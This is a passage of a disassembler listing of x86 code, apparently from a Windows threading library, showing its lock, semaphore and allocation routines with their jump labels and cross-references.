[esp+8Ch+var_8], 1 jnz short loc_432A9A push eax call esi loc_432A9A: ; CODE XREF: sub_432A20+11j ; sub_432A20+6Bj ... pop esi pop ebx add esp, 84h retn sub_432A20 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_432AE0 proc near ; CODE XREF: sub_401DDEj arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebx push ebp push esi push edi push 14h push 1 nop call near ptr 77C2C0C3h mov esi, eax add esp, 8 test esi, esi jnz short loc_432B01 pop edi pop esi pop ebp mov eax, 0Ch pop ebx retn ; --------------------------------------------------------------------------- loc_432B01: ; CODE XREF: sub_432AE0+15j mov edi, [esp+10h+arg_8] mov ebp, [esp+10h+arg_4] mov dword ptr [esi], 0FFFFFFFFh mov [esi+4], ebp lea ebx, [edi+8] mov [esi+8], edi push ebx call sub_402248 add esp, 4 mov [esp+10h+arg_4], eax test eax, eax jz short loc_432B42 push esi call sub_402252 push esi call near ptr 77C2C21Bh nop mov eax, [esp+18h+arg_4] add esp, 8 pop edi pop esi pop ebp pop ebx retn ; --------------------------------------------------------------------------- loc_432B42: ; CODE XREF: sub_432AE0+47j mov eax, [edi+0Ch] push ebx mov [esi+10h], eax mov [edi+0Ch], esi call sub_4010C3 add esp, 4 test ebp, ebp jz short loc_432B67 mov ecx, [ebp+80h] mov [esi+0Ch], ecx mov [ebp+80h], esi loc_432B67: ; CODE XREF: sub_432AE0+76j mov edx, [esp+10h+arg_0] pop edi xor eax, eax mov [edx], esi pop esi pop ebp pop ebx retn sub_432AE0 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_432BB0 proc near ; CODE XREF: sub_40105Fj arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] test esi, esi jz short loc_432BD7 mov eax, [esi+8] test eax, eax jnz short loc_432BD7 mov eax, [esi+4] test eax, eax jnz short loc_432BD7 push esi call sub_402252 push esi nop call near ptr 77C2C21Bh add esp, 8 loc_432BD7: ; CODE XREF: sub_432BB0+7j ; sub_432BB0+Ej ... pop esi retn sub_432BB0 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_432BF0 proc near ; CODE XREF: sub_40131Bj arg_0 = dword ptr 4 push ebx mov ebx, [esp+4+arg_0] test ebx, ebx push esi jz short loc_432C5D mov esi, [ebx+80h] test esi, esi jz short loc_432C5D push edi loc_432C05: ; CODE XREF: sub_432BF0+6Aj push esi call sub_402248 add esp, 4 test eax, eax jnz short loc_432C58 mov edi, [esi+8] test edi, edi jz short loc_432C33 push edi call sub_401190 ; --------------------------------------------------------------------------- add esp, 4 test eax, eax jz short loc_432C33 mov edi, [edi+4] test edi, edi jz short loc_432C33 push eax loc_432C2E: ; CODE XREF: ___:00432CA7j call edi ; free add esp, 4 loc_432C33: ; CODE XREF: sub_432BF0+27j ; sub_432BF0+34j ... mov eax, [esi+0Ch] mov dword ptr [esi+4], 0 push esi mov [ebx+80h], eax call sub_4010C3 push esi call sub_40105F mov esi, [ebx+80h] add esp, 8 loc_432C58: ; CODE XREF: sub_432BF0+20j test esi, esi jnz short loc_432C05 pop edi loc_432C5D: ; CODE XREF: sub_432BF0+8j ; sub_432BF0+12j pop esi pop ebx retn sub_432BF0 endp ; --------------------------------------------------------------------------- db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_432C80 proc near ; CODE XREF: sub_401DEDj mov eax, dword_5103B4 push ebx push edi push eax call sub_401190 sub_432C80 endp ; --------------------------------------------------------------------------- db 8Bh, 5Ch, 24h ; --------------------------------------------------------------------------- adc [ebx-47CFB3Ch], al add cl, [ebx-7CF28B08h] sti add [eax+ecx+6Ah], esi add [eax-7F8E2918h], edx ja short loc_432C2E push dword ptr [esi+eax-0Ah] inc edi jl short near ptr loc_432CB0+1 loc_432CB0: ; CODE XREF: ___:00432CAEj jz short loc_432CD5 push esi mov eax, ebx xor esi, esi dec eax jz short loc_432CC2 dec eax jnz short loc_432CC5 or esi, 0FFFFFFFFh jmp short loc_432CC5 ; --------------------------------------------------------------------------- loc_432CC2: ; CODE XREF: ___:00432CB8j mov esi, [edi+14h] loc_432CC5: ; CODE XREF: ___:00432CBBj ; ___:00432CC0j call sub_4017CB push esi nop call near ptr 77C3A307h add esp, 4 pop esi loc_432CD5: ; CODE XREF: ___:loc_432CB0j push 1 call sub_401B22 ; --------------------------------------------------------------------------- dd 8304C483h, 57533CC7h, 408AE890h, 90907780h, 90909090h dd 8 dup(0CCCCCCCCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_432D10 proc near ; CODE XREF: sub_401B22j arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push esi call sub_401122 sub_432D10 endp ; --------------------------------------------------------------------------- add esp, 4 test eax, eax jz short loc_432D2F loc_432D22: ; CODE XREF: ___:00432D2Dj push esi call sub_401122 ; --------------------------------------------------------------------------- add esp, 4 test eax, eax jnz short loc_432D22 loc_432D2F: ; CODE XREF: ___:00432D20j pop esi retn ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_432D50: ; CODE XREF: ___:00401DF7j xor eax, eax retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_432D70 proc near ; CODE XREF: sub_4012D0j var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx push edx mov ecx, [ebp+arg_0] mov edx, [ebp+arg_4] mov eax, [ebp+arg_8] lock cmpxchg [ecx], edx mov [ebp+var_4], eax pop edx pop ecx mov eax, [ebp+var_4] mov esp, ebp pop ebp retn 0Ch sub_432D70 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_432DB0 proc near ; CODE XREF: sub_401C3Aj var_8 = dword ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 4 sub esp, 8 lea eax, [esp+8+var_4] lea ecx, [esp+8+var_8] push esi push eax push ecx xor esi, esi call near ptr 27B02DCh nop push eax call near ptr 2760C14h nop test eax, eax jz short loc_432DF2 mov edx, [esp+0Ch+var_8] xor ecx, ecx mov eax, 1 loc_432DDC: ; CODE XREF: sub_432DB0+33j test eax, edx jz short loc_432DE1 inc ecx loc_432DE1: ; CODE XREF: sub_432DB0+2Ej shl eax, 1 jnz short loc_432DDC mov edx, [esp+0Ch+arg_0] mov eax, esi pop esi mov [edx], ecx add esp, 8 retn ; --------------------------------------------------------------------------- loc_432DF2: ; CODE XREF: sub_432DB0+1Fj mov eax, 0Bh pop esi add esp, 8 retn sub_432DB0 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_432E20 proc near ; CODE XREF: sub_40185Cj arg_0 = dword ptr 4 push esi push offset dword_510960 xor esi, esi nop call near ptr 7C901005h mov ecx, [esp+4+arg_0] mov eax, [ecx] cmp eax, 0FFFFFFFFh jnz short loc_432E54 push esi push ecx call sub_401F91 add esp, 8 mov esi, eax push offset dword_510960 nop call near ptr 7C9010EDh mov eax, esi pop esi retn ; --------------------------------------------------------------------------- loc_432E54: ; CODE XREF: sub_432E20+17j test eax, eax jnz short loc_432E5D mov esi, 16h loc_432E5D: ; CODE XREF: sub_432E20+36j push offset dword_510960 nop call near ptr 7C9010EDh mov eax, esi pop esi retn sub_432E20 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_432E90 proc near ; CODE XREF: sub_401861j arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] mov eax, [esi+14h] lea ecx, [esi+4] neg eax push ecx mov [esi+0Ch], eax mov dword ptr [esi+14h], 0 call sub_4010C3 push esi call sub_4010C3 add esp, 8 pop esi retn sub_432E90 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_432ED0 proc near ; CODE XREF: sub_401F91j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push esi xor esi, esi test eax, eax jnz short loc_432EE2 mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- loc_432EE2: ; CODE XREF: sub_432ED0+9j mov eax, [esp+4+arg_4] push ebx test eax, eax push edi jz short loc_432F02 cmp dword ptr [eax], 0 jz short loc_432F02 mov ecx, [esp+0Ch+arg_0] mov edi, 16h mov eax, edi pop edi mov [ecx], esi pop ebx pop esi retn ; --------------------------------------------------------------------------- loc_432F02: ; CODE XREF: sub_432ED0+1Aj ; sub_432ED0+1Fj push 1Ch push 1 nop call near ptr 77C2C0C3h mov esi, eax add esp, 8 test esi, esi jnz short loc_432F26 mov ecx, [esp+0Ch+arg_0] mov edi, 0Ch mov eax, edi pop edi mov [ecx], esi pop ebx pop esi retn ; --------------------------------------------------------------------------- loc_432F26: ; CODE XREF: sub_432ED0+43j push 0 push esi mov dword ptr [esi+0Ch], 0 mov dword ptr [esi+10h], 0 mov dword ptr [esi+14h], 0 call sub_4021BC mov edi, eax add esp, 8 test edi, edi jnz short loc_432F84 lea ebx, [esi+4] push eax push ebx call sub_4021BC mov edi, eax add esp, 8 test edi, edi jnz short loc_432F7B push eax lea eax, [esi+8] push eax call sub_40154B mov edi, eax add esp, 8 test edi, edi jz short loc_432F9C push ebx call sub_402252 add esp, 4 loc_432F7B: ; CODE XREF: sub_432ED0+8Dj push esi call sub_402252 add esp, 4 loc_432F84: ; CODE XREF: sub_432ED0+7Aj push esi nop call near ptr 77C2C21Bh mov ecx, [esp+10h+arg_0] add esp, 4 xor esi, esi mov eax, edi pop edi mov [ecx], esi pop ebx pop esi retn ; --------------------------------------------------------------------------- loc_432F9C: ; CODE XREF: sub_432ED0+A0j mov ecx, [esp+0Ch+arg_0] xor edi, edi mov eax, edi mov dword ptr [esi+18h], 0FACADE2h pop edi mov [ecx], esi pop ebx pop esi retn sub_432ED0 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 40h dup(0CCh) ; --------------------------------------------------------------------------- loc_433000: ; CODE XREF: ___:004018BBj mov eax, [esp+4] push ebx push ebp push esi push edi xor ebx, ebx xor edi, edi xor ebp, ebp test eax, eax jz loc_43313B mov esi, [eax] test esi, esi jz loc_43313B cmp esi, 0FFFFFFFFh jz loc_4330F7 cmp dword ptr [esi+18h], 0FACADE2h jnz loc_43313B push esi call sub_402248 add esp, 4 test eax, eax jnz loc_433140 lea edi, [esi+4] push edi call sub_402248 mov ebx, eax add esp, 4 test ebx, ebx jz short loc_433069 push esi call sub_4010C3 add esp, 4 mov eax, ebx pop edi pop esi pop ebp pop ebx retn ; --------------------------------------------------------------------------- loc_433069: ; CODE XREF: ___:00433057j mov eax, [esi+10h] test eax, eax jg short loc_4330DD mov eax, [esi+0Ch] mov ecx, [esi+14h] cmp eax, ecx jg short loc_4330DD push edi mov dword ptr [esi+18h], 0 call sub_4010C3 add esp, 4 mov ebx, eax test ebx, ebx push esi jz short loc_4330A0 call sub_4010C3 add esp, 4 mov eax, ebx pop edi pop esi pop ebp pop ebx retn ; --------------------------------------------------------------------------- loc_4330A0: ; CODE XREF: ___:0043308Fj call sub_4010C3 add esp, 4 test eax, eax jnz loc_433140 mov ecx, [esp+14h] lea edx, [esi+8] push edx mov [ecx], eax call sub_401AA5 push edi mov ebx, eax call sub_402252 push esi mov edi, eax call sub_402252 push esi mov ebp, eax nop call near ptr 77C2C21Bh add esp, 10h jmp short loc_433123 ; --------------------------------------------------------------------------- loc_4330DD: ; CODE XREF: ___:0043306Ej ; ___:00433078j push edi call sub_4010C3 push esi mov ebx, eax call sub_4010C3 add esp, 8 mov edi, eax mov ebp, 10h jmp short loc_433123 ; --------------------------------------------------------------------------- loc_4330F7: ; CODE XREF: ___:00433023j push offset dword_510960 call near ptr 7C901005h nop mov eax, [esp+14h] cmp dword ptr [eax], 0FFFFFFFFh jnz short loc_433113 mov dword ptr [eax], 0 jmp short loc_433118 ; --------------------------------------------------------------------------- loc_433113: ; CODE XREF: ___:00433109j mov ebx, 10h loc_433118: ; CODE XREF: ___:00433111j push offset dword_510960 nop call near ptr 7C9010EDh loc_433123: ; CODE XREF: ___:004330DBj ; ___:004330F5j test ebx, ebx jz short loc_43312E pop edi pop esi mov eax, ebx pop ebp pop ebx retn ; --------------------------------------------------------------------------- loc_43312E: ; CODE XREF: ___:00433125j test edi, edi mov eax, edi jnz short loc_433140 pop edi mov eax, ebp pop esi pop ebp pop ebx retn ; --------------------------------------------------------------------------- loc_43313B: ; CODE XREF: ___:00433010j ; ___:0043301Aj ... mov eax, 16h loc_433140: ; CODE XREF: ___:00433041j ; ___:004330AAj ... pop edi pop esi pop ebp pop ebx retn ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 60h dup(0CCh) ; --------------------------------------------------------------------------- loc_4331B0: ; CODE XREF: ___:00401EA6j push esi push 4 push 1 xor esi, esi nop call near ptr 77C2C0C3h add esp, 8 test eax, eax jnz short loc_4331D3 mov edx, [esp+8] mov ecx, 0Ch pop esi mov [edx], eax mov eax, ecx retn ; --------------------------------------------------------------------------- loc_4331D3: ; CODE XREF: ___:004331C2j mov ecx, [esp+8] mov dword ptr [eax], 0 mov [ecx], eax mov eax, esi pop esi retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_433200: ; CODE XREF: ___:0040179Ej mov ecx, [esp+4] push esi xor esi, esi test ecx, ecx jz short loc_433221 mov eax, [ecx] test eax, eax jz short loc_433221 push eax mov [ecx], esi nop call near ptr 77C2C21Bh add esp, 4 mov eax, esi pop esi retn ; --------------------------------------------------------------------------- loc_433221: ; CODE XREF: ___:00433209j ; ___:0043320Fj mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_433240: ; CODE XREF: ___:00401136j mov eax, [esp+4] test eax, eax jz short loc_43325D mov eax, [eax] test eax, eax jz short loc_43325D mov ecx, [esp+8] test ecx, ecx jz short loc_43325D mov eax, [eax] mov [ecx], eax xor eax, eax retn ; --------------------------------------------------------------------------- loc_43325D: ; CODE XREF: ___:00433246j ; ___:0043324Cj ... mov eax, 16h retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_433280: ; CODE XREF: ___:004015A5j mov eax, [esp+4] test eax, eax jz short loc_4332AA mov ecx, [eax] test ecx, ecx jz short loc_4332AA mov eax, [esp+8] cmp eax, 1 jz short loc_43329E test eax, eax jnz short loc_4332AA mov [ecx], eax retn ; --------------------------------------------------------------------------- loc_43329E: ; CODE XREF: ___:00433295j mov eax, 28h mov dword ptr [ecx], 0 retn ; --------------------------------------------------------------------------- loc_4332AA: ; CODE XREF: ___:00433286j ; ___:0043328Cj ... mov eax, 16h retn ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_4332C0: ; CODE XREF: ___:00402095j push ebx push esi mov esi, [esp+0Ch] push edi test esi, esi jz loc_43337A mov eax, [esi] test eax, eax jz loc_43337A cmp eax, 0FFFFFFFFh jnz short loc_4332F4 push esi call sub_40185C add esp, 4 test eax, eax jz short loc_4332F4 cmp eax, 10h jnz loc_43337F loc_4332F4: ; CODE XREF: ___:004332DCj ; ___:004332E9j mov esi, [esi] cmp dword ptr [esi+18h], 0FACADE2h jnz short loc_43337A push esi call sub_402248 add esp, 4 test eax, eax jnz short loc_43337F mov ecx, [esi+0Ch] inc ecx mov eax, ecx mov [esi+0Ch], ecx cmp eax, 7FFFFFFFh jnz short loc_43336D lea edi, [esi+4] push edi call sub_402248 mov ebx, eax add esp, 4 test ebx, ebx jz short loc_43333D push esi call sub_4010C3 add esp, 4 mov eax, ebx pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_43333D: ; CODE XREF: ___:0043332Cj mov eax, [esi+14h] mov ebx, [esi+0Ch] sub ebx, eax push edi mov [esi+0Ch], ebx mov dword ptr [esi+14h], 0 call sub_4010C3 mov edi, eax add esp, 4 test edi, edi jz short loc_43336D push esi call sub_4010C3 add esp, 4 mov eax, edi pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_43336D: ; CODE XREF: ___:0043331Aj ; ___:0043335Cj push esi call sub_4010C3 add esp, 4 pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_43337A: ; CODE XREF: ___:004332C9j ; ___:004332D3j ... mov eax, 16h loc_43337F: ; CODE XREF: ___:004332EEj ; ___:0043330Aj pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 40h dup(0CCh) ; --------------------------------------------------------------------------- loc_4333D0: ; CODE XREF: ___:004016A4j push ebx push esi mov esi, [esp+0Ch] push edi test esi, esi jz loc_43349F mov eax, [esi] test eax, eax jz loc_43349F cmp eax, 0FFFFFFFFh jnz short loc_433404 push esi call sub_40185C add esp, 4 test eax, eax jz short loc_433404 cmp eax, 10h jnz loc_4334A4 loc_433404: ; CODE XREF: ___:004333ECj ; ___:004333F9j mov esi, [esi] cmp dword ptr [esi+18h], 0FACADE2h jnz loc_43349F mov ebx, [esp+14h] push ebx push esi call sub_401BD6 add esp, 8 test eax, eax jnz short loc_4334A4 mov ecx, [esi+0Ch] inc ecx mov eax, ecx mov [esi+0Ch], ecx cmp eax, 7FFFFFFFh jnz short loc_433492 lea edi, [esi+4] push ebx push edi call sub_401BD6 mov ebx, eax add esp, 8 test ebx, ebx jz short loc_433462 cmp ebx, 274Ch jnz short loc_433453 inc dword ptr [esi+14h] loc_433453: ; CODE XREF: ___:0043344Ej push esi call sub_4010C3 add esp, 4 mov eax, ebx pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_433462: ; CODE XREF: ___:00433446j mov eax, [esi+14h] mov ebx, [esi+0Ch] sub ebx, eax push edi mov [esi+0Ch], ebx mov dword ptr [esi+14h], 0 call sub_4010C3 mov edi, eax add esp, 4 test edi, edi jz short loc_433492 push esi call sub_4010C3 add esp, 4 mov eax, edi pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_433492: ; CODE XREF: ___:00433433j ; ___:00433481j push esi call sub_4010C3 add esp, 4 pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_43349F: ; CODE XREF: ___:004333D9j ; ___:004333E3j ... mov eax, 16h loc_4334A4: ; CODE XREF: ___:004333FEj ; ___:00433423j pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- db 8 dup(90h) db 40h dup(0CCh) ; --------------------------------------------------------------------------- loc_4334F0: ; CODE XREF: ___:004015D2j sub esp, 0Ch push ebp push esi mov esi, [esp+18h] push edi test esi, esi jz loc_4335E6 mov eax, [esi] test eax, eax jz loc_4335E6 cmp eax, 0FFFFFFFFh jnz short loc_433527 push esi call sub_40185C add esp, 4 test eax, eax jz short loc_433527 cmp eax, 10h jnz loc_4335EB loc_433527: ; CODE XREF: ___:0043350Fj ; ___:0043351Cj mov esi, [esi] cmp dword ptr [esi+18h], 0FACADE2h jnz loc_4335E6 push esi call sub_402248 add esp, 4 test eax, eax jnz loc_4335EB lea ebp, [esi+4] push ebp call sub_402248 mov edi, eax add esp, 4 test edi, edi jz short loc_43356B push esi call sub_4010C3 add esp, 4 mov eax, edi pop edi pop esi pop ebp add esp, 0Ch retn ; --------------------------------------------------------------------------- loc_43356B: ; CODE XREF: ___:00433557j mov eax, [esi+10h] test eax, eax jnz short loc_4335DA mov eax, [esi+14h] test eax, eax jle short loc_433588 mov ecx, [esi+0Ch] mov dword ptr [esi+14h], 0 sub ecx, eax mov [esi+0Ch], ecx loc_433588: ; CODE XREF: ___:00433577j mov eax, [esi+0Ch] test eax, eax jle short loc_4335DA neg eax push ebx mov [esi+14h], eax push esi lea eax, [esp+14h] push offset sub_401861 push eax call sub_401663 ; --------------------------------------------------------------------------- add esp, 0Ch lea ebx, [esi+8] loc_4335AB: ; CODE XREF: ___:004335C0j push ebp push ebx call sub_401203 mov edi, eax add esp, 8 test edi, edi jnz short loc_4335C2 mov eax, [esi+14h] test eax, eax jl short loc_4335AB loc_4335C2: ; CODE XREF: ___:004335B9j xor ecx, ecx test edi, edi setnz cl push ecx call sub_401122 ; --------------------------------------------------------------------------- add esp, 4 test edi, edi pop ebx jnz short loc_4335DD mov [esi+0Ch], edi loc_4335DA: ; CODE XREF: ___:00433570j ; ___:0043358Dj inc dword ptr [esi+10h] loc_4335DD: ; CODE XREF: ___:004335D5j mov eax, edi pop edi pop esi pop ebp add esp, 0Ch retn ; --------------------------------------------------------------------------- loc_4335E6: ; CODE XREF: ___:004334FCj ; ___:00433506j ... mov eax, 16h loc_4335EB: ; CODE XREF: ___:00433521j ; ___:00433541j pop edi pop esi pop ebp add esp, 0Ch retn ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 50h dup(0CCh) ; --------------------------------------------------------------------------- loc_433650: ; CODE XREF: ___:00401960j sub esp, 0Ch push ebp push esi mov esi, [esp+18h] push edi test esi, esi jz loc_433751 mov eax, [esi] test eax, eax jz loc_433751 cmp eax, 0FFFFFFFFh jnz short loc_433687 push esi call sub_40185C add esp, 4 test eax, eax jz short loc_433687 cmp eax, 10h jnz loc_433756 loc_433687: ; CODE XREF: ___:0043366Fj ; ___:0043367Cj mov esi, [esi] cmp dword ptr [esi+18h], 0FACADE2h jnz loc_433751 mov edi, [esp+20h] push edi push esi call sub_401BD6 add esp, 8 test eax, eax jnz loc_433756 lea ebp, [esi+4] push edi push ebp call sub_401BD6 mov edi, eax add esp, 8 test edi, edi jz short loc_4336D1 push esi call sub_4010C3 add esp, 4 mov eax, edi pop edi pop esi pop ebp add esp, 0Ch retn ; --------------------------------------------------------------------------- loc_4336D1: ; CODE XREF: ___:004336BDj mov eax, [esi+10h] test eax, eax jnz short loc_433745 mov eax, [esi+14h] test eax, eax jle short loc_4336EE mov ecx, [esi+0Ch] mov dword ptr [esi+14h], 0 sub ecx, eax mov [esi+0Ch], ecx loc_4336EE: ; CODE XREF: ___:004336DDj mov eax, [esi+0Ch] test eax, eax jle short loc_433745 neg eax push ebx mov [esi+14h], eax push esi lea eax, [esp+14h] push offset sub_401861 push eax call sub_401663 ; --------------------------------------------------------------------------- add esp, 0Ch lea ebx, [esi+8] loc_433711: ; CODE XREF: ___:0043372Bj mov ecx, [esp+24h] push ecx push ebp push ebx call sub_4011E0 mov edi, eax add esp, 0Ch test edi, edi jnz short loc_43372D mov eax, [esi+14h] test eax, eax jl short loc_433711 loc_43372D: ; CODE XREF: ___:00433724j xor edx, edx test edi, edi setnz dl push edx call sub_401122 ; --------------------------------------------------------------------------- add esp, 4 test edi, edi pop ebx jnz short loc_433748 mov [esi+0Ch], edi loc_433745: ; CODE XREF: ___:004336D6j ; ___:004336F3j inc dword ptr [esi+10h] loc_433748: ; CODE XREF: ___:00433740j mov eax, edi pop edi pop esi pop ebp add esp, 0Ch retn ; --------------------------------------------------------------------------- loc_433751: ; CODE XREF: ___:0043365Cj ; ___:00433666j ... mov eax, 16h loc_433756: ; CODE XREF: ___:00433681j ; ___:004336A6j pop edi pop esi pop ebp add esp, 0Ch retn ; --------------------------------------------------------------------------- db 3 dup(90h) db 50h dup(0CCh) ; --------------------------------------------------------------------------- loc_4337B0: ; CODE XREF: ___:004015C8j mov eax, [esp+4] push ebx push esi push edi test eax, eax jz short loc_433836 mov esi, [eax] test esi, esi jz short loc_433836 cmp esi, 0FFFFFFFFh jnz short loc_4337CC pop edi pop esi xor eax, eax pop ebx retn ; --------------------------------------------------------------------------- loc_4337CC: ; CODE XREF: ___:004337C4j cmp dword ptr [esi+18h], 0FACADE2h jnz short loc_433836 mov eax, [esi+10h] test eax, eax jnz short loc_433814 lea ebx, [esi+4] push ebx call sub_402248 mov edi, eax add esp, 4 test edi, edi jz short loc_4337F2 pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_4337F2: ; CODE XREF: ___:004337ECj mov eax, [esi+14h] inc eax mov [esi+14h], eax jnz short loc_433809 add esi, 8 push esi call sub_401E6F add esp, 4 mov edi, eax loc_433809: ; CODE XREF: ___:004337F9j push ebx call sub_4010C3 add esp, 4 jmp short loc_43382C ; --------------------------------------------------------------------------- loc_433814: ; CODE XREF: ___:004337DAj dec eax mov [esi+10h], eax lea eax, [esi+4] push eax call sub_4010C3 push esi mov edi, eax call sub_4010C3 add esp, 8 loc_43382C: ; CODE XREF: ___:00433812j test edi, edi jz short loc_43383B mov eax, edi pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_433836: ; CODE XREF: ___:004337B9j ; ___:004337BFj ... mov eax, 16h loc_43383B: ; CODE XREF: ___:0043382Ej pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- db 90h db 30h dup(0CCh) ; --------------------------------------------------------------------------- loc_433870: ; CODE XREF: ___:0040153Cj push ebx push esi mov esi, [esp+0Ch] push edi test esi, esi jz loc_43392A mov eax, [esi] test eax, eax jz loc_43392A cmp eax, 0FFFFFFFFh jnz short loc_4338A4 push esi call sub_40185C add esp, 4 test eax, eax jz short loc_4338A4 cmp eax, 10h jnz loc_43392F loc_4338A4: ; CODE XREF: ___:0043388Cj ; ___:00433899j mov esi, [esi] cmp dword ptr [esi+18h], 0FACADE2h jnz short loc_43392A push esi call sub_401785 add esp, 4 test eax, eax jnz short loc_43392F mov ecx, [esi+0Ch] inc ecx mov eax, ecx mov [esi+0Ch], ecx cmp eax, 7FFFFFFFh jnz short loc_43391D lea edi, [esi+4] push edi call sub_402248 mov ebx, eax add esp, 4 test ebx, ebx jz short loc_4338ED push esi call sub_4010C3 add esp, 4 mov eax, ebx pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_4338ED: ; CODE XREF: ___:004338DCj mov eax, [esi+14h] mov ebx, [esi+0Ch] sub ebx, eax push edi mov [esi+0Ch], ebx mov dword ptr [esi+14h], 0 call sub_4010C3 mov edi, eax add esp, 4 test edi, edi jz short loc_43391D push esi call sub_4010C3 add esp, 4 mov eax, edi pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_43391D: ; CODE XREF: ___:004338CAj ; ___:0043390Cj push esi call sub_4010C3 add esp, 4 pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_43392A: ; CODE XREF: ___:00433879j ; ___:00433883j ... mov eax, 16h loc_43392F: ; CODE XREF: ___:0043389Ej ; ___:004338BAj pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 40h dup(0CCh) ; --------------------------------------------------------------------------- loc_433980: ; CODE XREF: ___:00401FF0j push ebx push esi mov esi, [esp+0Ch] push edi test esi, esi jz loc_433A61 mov eax, [esi] test eax, eax jz loc_433A61 cmp eax, 0FFFFFFFFh jnz short loc_4339B4 push esi call sub_40185C add esp, 4 test eax, eax jz short loc_4339B4 cmp eax, 10h jnz loc_433A66 loc_4339B4: ; CODE XREF: ___:0043399Cj ; ___:004339A9j mov esi, [esi] cmp dword ptr [esi+18h], 0FACADE2h jnz loc_433A61 push esi call sub_401785 add esp, 4 test eax, eax jnz loc_433A66 lea ebx, [esi+4] push ebx call sub_401785 mov edi, eax add esp, 4 test edi, edi jz short loc_4339F9 push esi call sub_4010C3 add esp, 4 test eax, eax jnz short loc_433A66 mov eax, edi pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_4339F9: ; CODE XREF: ___:004339E4j mov eax, [esi+10h] test eax, eax jnz short loc_433A49 mov eax, [esi+14h] test eax, eax jle short loc_433A16 mov ecx, [esi+0Ch] mov dword ptr [esi+14h], 0 sub ecx, eax mov [esi+0Ch], ecx loc_433A16: ; CODE XREF: ___:00433A05j mov eax, [esi+0Ch] test eax, eax jle short loc_433A54 push ebx call sub_4010C3 add esp, 4 mov edi, eax test edi, edi push esi jz short loc_433A3B call sub_4010C3 add esp, 4 mov eax, edi pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_433A3B: ; CODE XREF: ___:00433A2Bj call sub_4010C3 mov edi, eax add esp, 4 test edi, edi jnz short loc_433A4E loc_433A49: ; CODE XREF: ___:004339FEj mov edi, 10h loc_433A4E: ; CODE XREF: ___:00433A47j mov eax, edi pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_433A54: ; CODE XREF: ___:00433A1Bj mov eax, edi mov dword ptr [esi+10h], 1 pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_433A61: ; CODE XREF: ___:00433989j ; ___:00433993j ... mov eax, 16h loc_433A66: ; CODE XREF: ___:004339AEj ; ___:004339CEj ... pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- db 6 dup(90h) db 40h dup(0CCh) ; --------------------------------------------------------------------------- loc_433AB0: ; CODE XREF: ___:00401C0Dj mov eax, [esp+4] push eax call sub_4012B7 add esp, 4 test eax, eax jz short loc_433AC7 mov eax, 16h retn ; --------------------------------------------------------------------------- loc_433AC7: ; CODE XREF: ___:00433ABFj mov eax, [esp+8] neg eax sbb eax, eax and eax, 30h retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_433AF0: ; CODE XREF: ___:00401EB5j mov eax, [esp+4] push eax call sub_4012B7 add esp, 4 test eax, eax jnz short loc_433B17 mov eax, [esp+8] test eax, eax jz short loc_433B17 cmp eax, 2 jbe short 